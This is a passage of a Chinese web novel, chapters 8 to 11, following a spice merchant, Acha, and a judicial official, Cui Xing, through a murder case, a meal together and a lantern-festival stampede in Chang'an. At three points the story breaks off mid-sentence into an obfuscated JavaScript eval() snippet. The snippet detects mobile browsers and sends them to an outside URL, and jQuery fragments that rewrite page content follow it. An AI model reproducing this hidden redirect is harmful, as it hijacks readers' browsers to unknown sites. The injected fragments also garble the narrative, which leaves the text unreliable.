铺子库房,阿茶今日正在整理昨日新到的一批香料,乱糟糟的一片让阿济难以入内,只得提高声音喊道,“阿茶,你可在里间?有位客人想看阿薛纳,你放那了?”
“客官久等了,这便是阿薛纳了……崔九?怎的是你?你来买香料的?”阿茶拿着刚从一堆包裹在一起的锦盒内取出的香料盒子走进隔间,这活本应阿济自己来的,可不成想,她被那一堆锦盒绊了一跤,磕到了头。
“非也,我是来找你的。”
8. 第 8 章
‘这人瞧着也不是个记仇的性子,不就是作弄了他,犯得着特地找过来吗’,心中所想自然没有宣之于口,短暂的诧异过后,阿茶坐下询问道,“找我?不知崔郎君寻我有何事?应该不是来买香料这种借口吧。”
崔行一噎,他确实没找到借口,也确实准备拿这个当借口来着。轻咳一声,说道,“叫阿茶姑娘猜中了,今日来此的本意确实不为买香料,不过在下看贵店品种繁多,若是能寻到一二也算意外之喜了。”
阿茶不太会煮长安人爱喝的茶,然而眼前这位世家公子,中原子弟挑剔的很,她手中唯一的一块好茶还是从阿延奇房内顺来的,便宜眼前这个蜘蛛精了。囫囵的掰下一块丢在一旁沸腾的水中了事,听见崔行这一番看似得体,实则什么也没说的话,阿茶挑了挑眉,“好说好说,保准给你找到一味最适合你的。”
心中藏事的两人丝毫没有发现茶汤的颜色有异,“这茶汤的味道怎么怪怪的,似乎有一股牛乳味……”
“什么!”阿茶看了眼手中的青瓷茶盏,内里盛放的茶汤非但不清亮,甚至还是是乳白色的。转头又掀开一旁的茶壶,里面那是水,分明是牛乳。“是我的错,本想拿来煮奶茶的,忙着忙着就忘了这茬,哎哎,别喝了别喝了,这茶煮出来又不好喝。要不,你还是说事吧,我让人重新换一壶来。”
其实崔行觉得这什么奶茶,别有一番风味,本想说就这样挺好的,架不住阿茶已经收走了他眼前的茶盏,只能作罢,非但如此,刚那一番话也没糊弄过去,还得另找由头。从业这么多年来,还是头一次不知如何招架。
“下官此行是代表大理寺向你致歉,以及致谢的。那日抓你进大理寺狱的几名衙役以及惩处过了,大理寺上下也在肃清此等不良行径。你提供的线索帮了大忙,否则那会这么快抓到凶手。只不过那白麒龟甲属实是奇异,在下翻阅古籍虽查到了只言片语,却依旧还是一知半解。”
害自己无故蹲了一回大牢的西市无头案阿茶自然有所关注,这桩案子早在几日前就结案了,只是她听闻凶手被放出了大理寺。大理寺和鸿胪寺给出的原因是,被害人和凶手皆是异邦友人,只受鸿胪寺的监管却不能用大黎朝的律法惩戒。
阿茶偷偷打探过,听闻凶手是龟兹贵族,哪怕发回原籍也不会有任何惩处,只因死的是一个女子,还是遭人厌弃,品行不端的女子。龟兹派人押解凶手回西域那日,阿茶远远的看见那人依旧有人好吃好喝的伺候。
对此,她也只是嘲讽的看了几眼,谁对谁错谁能评判呢,若大漠上真存在所谓的公正,她的阿爷便不会死了。
她那里不知眼前这人在今日提起这桩案子的目的,将快要溢出的嘲讽压回去,阿茶向眼前人解释(科普)道,“白麒龟甲,长不足半寸,六足,有翅,为白,头部有一分叉角,因其甲壳坚硬且有数道不规则的斑纹,故而得名白龟甲。又因龟甲虽有毒,然其所在地必有阿薛纳分布,康居百姓便认为这龟甲跟麒麟一样是祥瑞,传着传着就被叫做白麒龟甲了。不过近些年随着做香料生意的商人越来越多,白麒龟甲随着商人的脚步逐渐遍布大漠,就连西市也能见到了,我这小店偶尔还能撞见一两只呢。”
“原来如此,多谢阿茶姑娘为在下解惑。姑娘推荐的这两盒香料倒是特别,明明不甚起眼,起初也未闻到一丝半点的味道,放了段时间香气反倒越来越明显了,闻着颇为清新淡雅。”
阿茶示意崔行将锦盒一一打开,“这两种都来自大食,左边这盒是金颜香,与安息类似,若与沉香、檀香按一定比例调配,焚后便是一种清新婉约的香气;右边这盒是蕃栀子,也就是詹匐花的果实,清冽、甘甜、细腻,且留香持久。”
“我很喜欢,多谢阿茶姑娘,只是奈何在下对香道一窍不通,这调配,能否请阿茶姑娘代为一二。瞧着时辰也不早了,未表感激,不知是否有幸邀姑娘一同用膳,香粉倒是不急,姑娘那日调配好了告知一声,我派家中小厮来取。”
话都让他说完了,阿茶还能说什么,只能答应了,“……那就恭敬不如从命了,多谢崔郎君。”
炙肉店,依旧还是临街靠窗的桌位,这次阿茶的坐姿端正了许多,她想不通,眼前这人弯弯绕绕又是香料又是案子,结果居然只是为了一顿饭,她不能理解,很不能理解!
“羊肉来两份,隔壁那桌那是什么?彘肉?瞧着不错,照他们那样,也来两份,你看着再配上一些素菜吧,对了,再加一壶甜汁,加冰!在下点好了,阿茶姑娘可还有想加的?”
“既是崔郎君做东,自然您做主就成。”看着崔行雀跃的目光,阿茶继续默默打量他,不对劲,很不对劲。
“对了,只知晓姑娘来自康居,生意也做的不错,可是粟特九姓的那个康居?”崔行确认了,那股淡雅的香气正是来自阿茶,在香料铺子气味糅杂不甚明显,现下在这充满浓烈烟火气的食肆反倒能轻易辨别出了。崔行心想‘文书上那最后一个选项,看来不需要验证了’。
心情一愉悦,崔行不免话也多了起来,毕竟他平生没什么爱好,吃和刑狱诉讼算是唯二。这几年愈发狠厉暴躁叫一众同僚受了不少罪,想来今后不会如此了。显然此时崔行并没有意识到一件极其严重的问题,那便是阿茶并不是他的下属小厮。
在未找到原因前,阿茶还得应付眼前这人,“算是吧,只不过我从小在大漠长大,并未去过康居,家父倒是在康居出生长大,若是按你们中原人的话来说,康居姑且算是我的祖籍吧。你应该是从我的过所上知晓我从康居而来吧。”
崔行一噎,得意忘形了,忘了上次见面两人心中都藏着算计,并未谈及太多与自身相关的。好在阿茶的神情未见嘲讽和不忿,便顺着她的话答了句。但实则他是从碎嘴的胡四口中得知的这事。
“那是我第一次去康居,不过却是回乡处理家父的身后事。”阿茶又想起了半年前那些事,她本不欲回康居,那个地方名义上是阿爷的出生地,但他十三岁上下就离开了,此后三十年也从未回去过。她不懂阿爷为何要留下这么一道命令,难道那个时候他就知道阿娘要随他而去吗。
康氏的祖宅早在三十年前的那场大火中被毁于一旦,她跟着阿爷留下的线索,找到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648613|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他埋在地下的金银珠宝。若换成银钱,可够活着的人一生无忧,若是他们不想继续躲藏,也能支撑到完成计划。在金银下还埋有一个匣子,里面是一份正规的户籍和过所,和一封写给其余人的信。他将选择交给了阿茶。
“节哀。”崔行的话打断了阿茶的回忆。
“没什么,生老病死乃是人生常态,每个人都有这么一日的,中原不是有句话叫‘轻于鸿毛,重于泰山’吗,家父是为了保护手无缚鸡之力的妇孺老幼而死,担得起重于泰山,也算是死得其所了。”
阿茶嘴上虽然说的是深明大义,脸上却满是失去父亲的悲伤和对父亲行为的不解。
崔行心头咯噔一下,升任少卿以来,不少人说他行事太过狠决,不讲半分情理。他一向嗤之以鼻,他信奉的是法不容情,若法不法,则国将不国。但此时他却说不出究竟谁对谁错,以一人的生死换一城人的生死究竟该不该。
“令尊此举……还不知令尊尊姓大名,若不是令尊的……不在长安,在下定要前往祭拜。”
阿茶先是为难了一番,在崔行表示理解准备换个话题后,阿茶深呼一口气,颇为艰难的开口道,“家父,家父名叫康舒赫,乃是,乃是昔日被成国公所灭的麒域的军师。”
崔行变了脸色,阿茶用一副难堪和我就猜到会是如此的表情,在崔行看过来时回望过去。
崔行立马慌了神色,一时不知该如何解释,“我,你,我并未是……有件事你应该不知晓,麒域虽已覆灭,但朝廷感念令尊护卫五千百姓的壮举,特追封令尊为定远将军。”
“且既然令尊是麒域军师,那你应该知晓麒域存在的几百年间,不是没人想着收服亦或是消灭,却从未有人做到。成国公为何能攻下麒域,究其原因,不全是因为成国公骁勇善战用兵如神吧。哪怕我身在长安也听过麒域军师之名,想必以麒域军师之智,不会没有脱身之法吧。”
阿茶噗嗤一声笑了,嗔怪道,“你这么说成国公不怕他的后人来找你麻烦?不过有一点你说的对,麒域的覆灭确实有阿爷的推波助澜。他接手时的麒域早已不复当年,再加上太宗在世时降服了突厥,他便知道麒域早晚有这一日。当初他不是没想过举降,但一个存世百年的组织谁能真的放心呢,是以,他花了数年想扭转麒域在大漠的风评,但数百年累积起来的印象那是这么轻易就能扭转的。”
“屠龙者终将死于龙口之下,威慑沙匪的麒域也亡于沙匪的刀下。”
“对了,追封定远将军一事我怎么不知情?是何时的事?”
崔行细细回忆了片刻,不确定的说道,“应是去年十月左右,安西都护麴仁泰向圣人奏请为令尊正名,一同上书的还有一封万民书。此事你不知情?我记得朝廷有派御史前往……”
阿茶打断了崔行的话,不在意的说道,“朝廷还念着阿爷的功劳我已心怀感激,至于追封,只是虚名罢了,我想阿爷不会在意的。再说了麒域军师世代传承,为了安全都以阿克什为名,御史找不到其家眷也,也正常。还未感谢崔郎君告知这些,以茶代酒,阿茶敬你一杯。”
9. 第 9 章
回到铺子,阿茶跟还在一楼的阿延奇打了个招呼就回房了。阿延奇瞧着她神情不太对劲,正准备上去问问,小人儿罗格不知从什么地方窜出来扯着他往自己的房间走,“舅舅,我知道阿茶姑姑为什么这样,走啦走啦,你去问了她也不会说的。”
在罗格那张小小的床上坐下,阿延奇瞪了他一眼,没好气的说道,“说吧,你又知道什么了,怎么哪都有你,这次又是躲在那里了?”
“什么叫躲,我才没也偷听呢!我好端端的在柜台后睡觉,是他们自己没发现还能怪我偷听吗!若我出去了,岂不是更加让他们尴尬!”
“好好好,说事说事,下次可不许了啊,偷听不是小孩子……”
“知道了,”罗格撅起个嘴巴,不耐的说道,“是一个长得很高很漂亮的男子,嗯,和舅舅你差不多高,但是比舅舅你要好看。不过他说话文绉绉的,我听不懂。好像是来买香料的,不对不对,是来感谢阿茶姑姑帮他们破案的,最后阿茶姑姑就跟他一起出去了,挪,就是隔壁巷的那家炙肉店。舅舅你可长点心吧,阿茶姑姑若是被旁人勾走了你就只有哭的份了,哎哟,打我作甚。”
“打的就是你,胡说什么,又是从隔壁波斯人那听来的吧,是该送你去书塾了,男人也是能用漂亮来形容的吗。”哄睡了依旧不愿去学堂的罗格,阿延奇担忧的看了眼还亮着灯的二楼。
回房第一件事,阿茶打开了一个柜子,里面放着一尊双耳宝象盖白瓷圆肚瓶,照例取了三支香恭敬的拜了拜。
“阿爷,女儿寻到了一个极佳的助力。”阿茶跪坐在柜子前的蒲团上,如同往日伏在父亲膝上一般,低语倾述。
“那人乃是如今的大理寺右少卿,博陵崔氏之后,高门显贵,世家嫡子。不但年纪轻轻身居高位,还掌有实权,是不是比你寻的那人更能助我们完成大事。只不过他那人心思深沉,不太好对付,不过阿爷放心,女儿本事大着呢,这几日他应该就会去追查当年的情况了。虽然您不在乎,但该是我们的,谁也吃不下!”
将今日发生的一切全数交代,阿茶难得的露出几分迷茫,“阿爷你若是还在,定会说我又冒险了吧。可是我等不及了,德先生和赛先生救不了我们,接下来我该如何做,你告诉我,告诉我啊!”
“阿茶!阿茶,你怎么了!”楼下的阿延奇听见阿茶房中传出哭喊声,三步并做两步冲进了阿茶的房间。映入眼帘的是伏在地上,对着白瓷瓶痛哭叫喊,泪流满面的阿茶。
叹了口气,如往日一般走过去轻轻关上柜门,被隔绝视线的阿茶渐渐止住哭声,“又吵到你了吧,我没事了,你回房休息吧。”
扶阿茶起身坐回小塌,拧了块帕子递过去,阿延奇欲言又止,“这么下去也不是个事,听我一句劝吧,拐角处那间小房子,虽是朝西,但胜在能看见西市的繁茂景象,康叔和乔姑姑会喜欢的。”
这些话不是他第一次对阿茶说了,阿茶依旧如同之前的许多次一样,沉默,安静无声的沉默,直到阿延奇妥协为止。
阿延奇再也不想她继续这样了,大喊一声,“这次我不会由着你了,”说罢,上前几步抱出瓷瓶就往外走,“佛堂我早已布置多日,佛像牌位这些我也帮你准备好了,你放心,是乔姑姑最喜欢的小叶紫檀。”
“回来,回来!你要带他们去那,还给我,还给我!”阿茶歇斯底里的吼叫,太过着急摔下小塌,拖着摔伤的小腿一瘸一拐的也要追去,“你回来,你要带我阿爷去哪,还给我,把他们还给我,求求你了,还给我……”
“阿茶姑姑你醒了!喝水吗,不不不,睡了一日一夜了,应该先吃东西,这可是我熬的粥,一直温着呢。别动别动,我来扶你。”一旁伸出一双手,扶着阿茶缓缓坐起身,罗格不高兴的撅起小嘴,但很有眼力见的拿来隐囊放在阿茶身后。
“舅舅真是的,说好让我来的,阿茶姑姑你别理他,摆着一张臭脸给谁看啊,看我看我,我难道不比他好看,来张嘴,啊……”
吃了几口,阿茶从恍惚中回过神,望向床尾端坐的阿延奇,投去一个歉意的表情,“对不住,我不该……”
“你对不起的不是我,”阿延奇叹了口气,接替了罗格好不容易争取来的喂饭工作,“出去玩去,我和你阿茶姑姑有话要讲。”
“康叔若是知道你如今这幅样子,他怎能放心,乔姑姑的习性难道康叔不知?你闭嘴,难听的话说出来你就高兴了?他难道不比你聪慧百倍,哪怕用情至深也绝不会因此而一叶障目。”
阿茶偏头躲了阿延奇伸过来的勺子,好半晌才说道,“你又没有喜欢过谁,又怎知他没有一叶障目,这种情况你见得还少了吗。”
这次换阿延奇沉默了,“事情已经发生了,你来长安不也是为了乔姑姑,难道你准备一直记恨下去不成?”
“……我没有。”
“你就嘴硬吧,医士都说了你是郁结于心导致的晕厥,这几日多注意休息,过几日阿月就到了,她若是见你还是这幅样子定要收拾你。”
阿延奇走后阿茶莫名的松了一口气,幸好他还以为阿茶这段日子的反常之举,是因为心中对过世双亲依旧有怨。他们谋划之事能不牵连外人最好,哪怕要牵连进来,阿茶也不希望这人是阿延奇,他好不容易有了新的生活,不应该被自己打搅。
来长安十几日了,也是时候该做点打消他疑虑的事了,然而长安城何其之大,要寻一个人更是难上加难啊,阿茶又一次遥望西方,她多想阿爷能给她出个主意啊。
翌日清晨,阿茶下楼时虽脸上还有疲色,但整个人仿佛焕然一新,“阿延奇,替我寻个吉日吧,长安城中可允许百姓在家中办法事?若是可以,也帮我请几位高僧吧,那日我想好好送送他们。对了,今日我可能要出去一趟,生意就帮不上忙了。”
“别担心了,我会多注意身体,定不会让自己劳累的,你不是给了我几个地址吗,我想去看看,说不定就有好消息呢。”
自从西市那桩案子成功和鸿胪寺交接后,胡四发现,这少卿大人跑西市的次数明显多了起来。
崔行又一次去了香料铺子,到了之后照例和害怕他的阿济、无视他的罗格寒暄几句,然后径直绕过他们前往雅间。次数一多,阿茶已经从起初的不理解、不明白、不习惯,到如今的随他去、不用管、不用理。反正他的目的很简单,只是想让阿茶陪他吃饭。
这理由是阿茶想破脑袋都没想出来的,她属实是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648614|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想不通,难道是她看着比较下饭不成。但一想到既能免费享用长安的美食,又有美男作伴,何乐为不为呢。也就同意了这种颇为无理的要求,末了还要感叹一句,果真是世家大族,就是骄奢淫逸。
当然他起初几次阿茶还会劝几句‘郎君如此行事成何体统’‘不若郎君以后直接让来递信’,后来发现,每次他来了之后,铺子里的女客会比平日多不少,免费的活招牌,不用白不用。
崔行如今也算是懂了赌徒为何屡教不改了,他再一次尝到了食物的美妙滋味后,也就愈发看不上之前那些维持性命的清汤寡水。
随着他去西市的次数明显增多,他就如同上瘾一般,几乎每日只能靠着下值后和阿茶一起用一顿饭维持生命体征。
这几日又碰上一桩棘手的案子,他已经在大理寺不眠不休待了整整两日了,期间只简单用了些干巴巴的胡饼。他觉得自己此时就如同刚被捕上岸的鲤鱼,无比地渴望下一秒就是一汪清泉,哪怕是口逐渐升温的煮瓮。
他也意识到这样下去不是办法,得想个时时刻刻都能与阿茶一同用饭的法子,如此才算一劳永逸。
饥饿的环境下人往往会走向极端,不出片刻,崔行计上心头。
七月流火,八月未央,九月授衣,转眼两月过去,阿茶第一次在西域以外过了整个夏季。
之前研制的香粉销量很好,几乎每次售卖都会断货,让阿茶狠狠的赚了一笔,这两月她在找人之余,还多调制了几种新品,毕竟要养活数十口人得费不少钱,手头这些还远远不够。
只不过如今她研制的香粉只在每月初一十五才会售卖,价格自然也翻了一番,美名其曰,限量。
这主意是阿延奇出的,阿茶还打趣他道,“你这从前不显山不露水的,原来是天赋点全加在了做生意上呀,小心以后被叫做奸商。”
“奸商又如何,中原不是讲究什么士农工商,商在最末流,本就为人所不耻。既然如此我还在乎什么名声,又不能让我多赚一吊钱。”
阿茶负手和一旁捂嘴掩笑阿月对视一眼,双双摇头,感叹他钻钱眼里去了。
小人儿罗格就不一样了,做生意简直像是刻进了他的骨子里了,这一番话让他更是一脸崇拜的盯着阿延奇,不是围着他问东问西,便是恨不得把自己挂在阿延奇的腰带上,已达到寸步不离。
“阿茶,中秋过后你就得去大理寺当值了,你真的想好了吗?”阿月皱着一张小脸,巴掌大的脸上写满了担心,“哎,都怪我到的太迟了,否则我定是第一个不同意的,我可是答应了阿娘要好好看着你的。真的不能不去吗?官职不大也不是朝廷特封,俸禄就更不比说了,都不够一个香粉的。”
说到此事,阿茶也叹了口气,她确实有借崔行身份行事的想法,但属实没想到这事居然顺利的有点让她有点那以置信。
整个人趴在阿月的肩上,无奈的说:“不能不去啊,虽不是个正儿八经的官,但上是为了嘉奖阿爷被人冒领的功绩,下有大理寺特聘文书,崔九说了,不去便是不敬皇恩藐视大黎律法,这罪名我可不敢担啊。咱们换个思路想想,这高低也算个官了,阿爷可都是死了才当上,我这还活着就当上了,不亏不亏。”
10. 第 10 章
此事究其缘由,还得从一月前说起,自然这也成为了为何阿延奇决定香粉一月只售卖两日的原因。
那日,崔行突然急匆匆的找到阿茶,“之前听你提过你精通好几种语言,就连梵文和锡兰语都略懂一二,能否请你帮着解译这张纸上的内容。这桩案子我们已经查了三月了,好不容易抓到凶手,却苦于没实证不能定罪。”
当一个面如冠玉、气宇轩昂、剑眉星眸的美男子,紧锁眉头,神情焦急的望着你。就连七月本应热烈的阳光,在此时如同湖面泛起的点点涟漪,透过花窗,星星点点斑驳一般打在他玄青绣有缠枝纹的袍子上,立体如刀削般的侧脸也变得柔和。
任凭是如何心如磐石的女子看了都会沦落其中,忘乎所以。
阿茶显然也很吃这套,大脑没有过多思考,答应了崔行的请求。崔行立马拉着她的手坐在一旁的矮桌上,从怀中拿出一张泛黄的牛皮纸,“事态紧急,麻烦你了。”迫切的样子仿佛怕阿茶会反悔一样。
“好好好,你别着急啊,我这就看。”粗略看了一遍后,阿茶满脸疑惑的抬起头问道,“凶手当真懂锡兰语吗,这怎么写的歪歪扭扭的……”
还未等她说完,崔行又换上那副焦急迫切的神色望着阿茶,刚点上的烛火打在他俊俏的脸上,以往隐藏在冷冽中的眸子此刻露出了它本来的模样,原来那是一双含情的双眼。
阿茶暮的地下头,语无伦次道,“你不要这样看着我了,我会尽力一试,只不过要点时间,你若是着急不如先去忙其他的,我译出了立马通知你。”
“你慢慢来,不着急。”虽然嘴上说着不急,崔行也并没有听阿茶的话离开。
阿茶受不了他这幅表情,只能将注意力放在那张破旧不堪的牛皮上。
两个时辰后,安静的中堂传来阿茶愉悦的声音,“译出来了!”
伸了伸手臂,又揉了揉酸胀的脖颈,阿茶将译出的内容推给崔行,“你看看吧,只是我无论如何都拼不成完整的句子,应是用了什么特殊的方法,你们大理寺应该有懂这方面的人才吧。”
看了眼角落滴水的钟,阿茶回头望了一眼借着昏黄灯光认真对比译文的崔行,过去将他拉了起来,“居然都这个点了,你快走吧,要赶不上宵禁了。”
匆匆将崔行赶出铺子,阿茶背靠在紧闭的房门后,深呼出一口气,“美色误人,美色误人啊。”
门外的崔行瞥了一眼被阿茶塞进手中的牛皮和黄麻纸,嘴角微微上扬,“成了。”马车上掀开一角的帘子露出一双精明的眸子,直到那扇门后的身影渐渐走远,才吩咐车夫回府。
至于那张黄麻纸,早已变作碎片被主人随意的丢出车厢。
又过了几日,崔行拿着一张大理寺卿亲自写的特聘文书找到阿茶,“你阿爷的事已经查清,当初的那位御史已经被革职审查了,朝廷这几日便会将圣旨和奖赏补发下来。”
“还有一件事,甄大人知晓了那桩案子多亏了你的帮助才得以给凶手定罪,幸好有你在,否则第二日凶手就只能交还锡兰领馆了。再加上西市那桩案子,甄大人想让你以编外的身份进入大理寺,文书一职在大理寺也算是较为轻松的了,虽然本朝官员不得行商,但你只要不太抛头露面也不是什么大问题。”
“此事确实是我自作主张了,既然你有满腹的才华,在刑狱断案上不但有自己独到的理解,又精通西域的各种语言和风俗往来。如今的长安万国来朝正是需要你这等人才建功立业的时候,你不是也说了你阿爷最大的理想便是‘万国衣冠拜冕旒’吗,如今你能替他完成心愿了。”
“有一事我实在是对不不住,我属实没想到甄大人动作这么快,这厢刚和大人们查清你阿爷的事,少卿跟圣人汇报此事时,甄大人当时也在御前,又恰好提了一嘴你的身份。如今这事也算是过了圣人的眼,你怕是不能推辞了。”
如此,阿茶的所有退路都被崔行堵死了,只有前往大理寺接受官职这一条路可选。
中秋这日,西市几乎没有什么客人,中原的王朝每逢正旦、上元、中秋和万寿节这几日都不会宵禁,且如今的天子寿辰恰好在中秋后一日,也算是双节同庆,圣人登基后便下令万寿节这日从简,中秋佳节则增开灯会,也算是提前与民同庆了。
自然西域诸国没有过中秋一说,况且香料铺子里的几人也都没有家人可以团圆。幸好阿月厨艺不错,今日做了一大桌子菜,还特地去学了中原人过节要吃的月饼。
她是阿茶阿爷在阿茶三岁时抱回来的弃婴,夫妻两人只有阿茶一个孩子,便将阿月收养当做自己亲生的孩子一般教养。
“今日是中秋,我们也学学中原人,过节!阿茶、罗格、阿月、还有阿济,今日给你们一个艰巨的任务,一人一个荷包,都去买自己喜欢的东西,剩的最少的那个,回来还有赏!”阿延奇拿出几个荷包,里面装了满满一荷包的碎银子。
阿茶知道,他是想用这种方式,让他们几人在旁人都团团圆圆的时候也是高高兴兴的,头一个接了他的荷包。
“那我可不会客气,你的大奖,我势在必得!”
有了她的开头,一向把自己当下人的阿济也不在有异样,把荷包塞进袖口,与他们一同出了门。
“走咯,看灯去咯!”
一出西市,整个朱雀大街灯火通明,朱雀大街两旁摆满了各色各样的走马灯,也有不少商贩们想抓住这一波流量,狠狠大赚一笔。
“早知道可以摆摊,我们也应该来支一个的。”
阿济最近涨了月钱,不知道是不是被小人儿罗格影响到了,如今也是一门心思就想着怎么赚钱。
“阿济姐姐,摆摊可是要一整晚的,那阿延奇的大奖我们可就分了哦。”阿茶没骨头似的挂在阿月身上,打趣她道。
“啊?那……那我还是花钱吧,也好久没试过花钱的感觉了,我早前看中了一支梳篦,居然要五两银子,吓得我放下就走了,今日看见了一定拿下。也不知掌柜的究竟准备的是什么,你们几个谁要拿到了可不许藏私啊。”
走着走着,身侧的阿月在一处卖灯的铺子前停了下来,“阿月,怎么了?”
“阿茶,你快看,前面那个小孩子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648615|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手上提着的灯会动也,居然是一只螃蟹!”阿茶顺着阿月指的方向看过去,确实是一只活灵活现的螃蟹,周围还有人提着兔子、小狗形状的花灯。
阿茶感叹中原人真是手巧,忍不住也想穿过人群去对面买一盏。
“阿茶小心!”
伴着阿月的一声尖叫,她被一只大手拉进怀抱,晃神之际,想起刚刚从她眼前呼啸而过的庞然大物,那似乎是一架马车……
“阿茶,阿茶……”阿月和阿延奇围着,一人焦急的呼喊她,一人径直上手检查她的安危。
“啊?怎么了,怎么了?阿月,阿月,阿月停下,我没事,真的没事。”
“刚刚是马车吗?京兆府白日巡逻不是说了灯会期间,这几条街都禁止通行吗,怎会还有人如此大胆敢枉顾圣令?”
“谁说不是呢,”阿月皱眉,拉着阿茶走到里侧,接着说道,“这都撞翻了好几个人,幸好阿延奇拉住了你,不然马蹄就踩到你了。”
阿茶顺着阿月的话,回头望了阿延奇一眼,他的手还紧紧的捏着阿茶的手臂,眼神却直直看向堵在前方的马车上。
察觉到手中的异样,不动声色的松开,“没受伤就好,我们得赶快离开此处了,马车在前方翻了,后方还有更多不知情的人涌进来,街道又窄,说不定要出事。”
在他的提议下,铺子中的几人正准备先从一旁的窄巷穿过,忽然又听到不远处传来一句女子的尖叫声。
“啊!死人了!”
骤然听见发生了命案,周围的人群也跟着乱了,连带着阿茶几人也被逆行的人群冲散。
阿茶被眼尖的阿延奇一把抓住,却眼睁睁的看着抱着罗格的阿月被冲向另一边,“阿月不要慌,顺着人群走,千万不能被踩下去!”
阿济不知被人潮推向何处,就连阿月和罗格也离他们二人越来越远。幸运的二人借力飞上一户人家的矮墙上,看着小小的巷道挤满了各式各色的人种,呼喊声,叫骂声不停,他们什么也做不了,只能祈求另外三人能平安归来。
直到夜深人静,阿月和罗格才走回西市,听见扣门声的阿茶急切的打开门,看见的便是一瘸一拐的阿月,和被一陌生男子抱着的罗格。
“安大哥,多谢你送我和罗格回来,这是我与你提过的阿茶。阿茶,这是安大哥,就是他的商队送我来的长安。”
阿茶接过罗格点头致谢,“原来是安郎君,多谢您送家姐平安归来,今日多有不便,待此事过去家弟设宴时还请您一定不要推辞。”简单寒暄几句送走陌生男子。
阿茶虽好奇阿月是如何在拥挤的人群中,恰好碰到的安明绪,但眼下的情形属实不是攀谈的好机会。罗格受了惊喜如今还晕着,阿月的脚踝也在推搡间崴到了,然而今日这硕大的长安城早已无医士可寻。
第二日一早,阿茶拿上文书去大理寺报到,还好昨日阿延奇找回了阿济,安明绪也为阿月请来了医士,昨日的劫难总算是过来。
然而此时的阿茶一定想不到,劫难哪是有这么容易能轻易过去的,往往轻则伤筋动骨,重则家破人亡。
11. 第 11 章
大理寺不愧是全国最高的掌管刑事诉讼、案件审理的地方。阿茶起初见到这个平平无奇的门头还以为走错了地方,是的,上次入狱,作为囚犯的她,没资格走正门;出狱,她那时恨不得早点离开,压根没有注意门头。
走进内里却发现不但制度森严,等级也严格分明,这才寅初,没有一人面露精力不济亦或是还未睡醒。
“让让,让让,别挡路!”“报案去京兆府和长安万年二县!”“别杵着了,赶紧的!麻溜儿的,没吃饭啊!”
“嚯,脾气还挺大的。”阿茶已经在门口站了好一会儿了,路过的人不是井然有序的跑进跑出,便是一副忙的不可开交的模样。总之,没有一个人理她。
好不容易逮住一个看起来像是忙完了的人,这人神色疲倦,要死不活的挂在另一年轻人肩上。阿茶一眼认出了他,这不是那日想要吓唬她的那个狱卒吗。
伸手抓住他的衣袖,长话短说交代了她来此的目的,“官爷,我是今日来上任的文书,这是大理寺卿甄大人亲自写的聘请文书。崔少卿给我文书时并未交代找谁报到,不知官爷能否帮我找找崔少卿?”
中秋灯会上出了命案,胡四和一众小弟忙了整晚,正准备向上峰汇报情况后抓紧时间休息休息,谁成想这才刚进府门,就被不知从那来的一只手抓住,顿时火冒三丈。
阿茶瞧着眼前这狱卒脸上都挂上了不耐和嫌恶,却在听到崔少卿后,立马换了表情,微微挑眉,心中对崔行的实权有了进一步的实证。
“什么文书,大理寺会招文书?天方夜谭……崔少卿,你说的是崔少卿?少卿说过今日有新人来吗?”最后这句话问的是身旁的年轻人。
“四哥你这不是说笑吗,这我哪知道啊。你说是少卿给的就是少卿给的啊,姓甚名谁,报上名来。”
“我姓康,叫阿茶。”阿茶微微含笑,眼神直勾勾的盯着胡四。
“阿茶?!”骤然听见这个名字,胡四的困意和怒意瞬间全消,意识也清醒不少。忙答话道,“原来是康娘子,小七你先过去。康娘子这边请,崔少卿前几日还与下官说过您不日要来就职一事,未成想原是今日。只是今日……您也见到了,属实有些忙,若有怠慢还请您多担待。”
听到胡四这么一说,阿茶多少猜到发生了何事,“可是因为昨日灯会?我亦有所耳闻,既然贵处今日多有不便,不如请官爷跟少卿说一声,我改日再来也成。”
阿茶说了句告辞转身就想往外走,反正这里现在暂时也用不上她,况且家里都是病号,留阿延奇一人多少有些照顾不到的地方,她回去了多少也能放心些。
没走两步,阿茶被胡四拽了回来,“虽说是有些忙,但那是他们的事,若是叫少卿知晓你人都来了却因我的怠慢负气而走,那我可没好果子吃了,来来来,我这就带你去报到啊,走这边走这边,文书处在后面……”
未等阿茶回答,胡四继续拽着她穿过两扇月亮门往抄手游廊方向走去。
“前方何人,拉拉扯扯成何体统,当此处是何地!”
崔行远远的瞧见一大理寺狱丞拉着一身穿浅绿团纹褙子配褚黄章丹涧色裙的女子,言语间还极尽讨好之意。加之昨日熬了个大夜,顿时怒从心起。
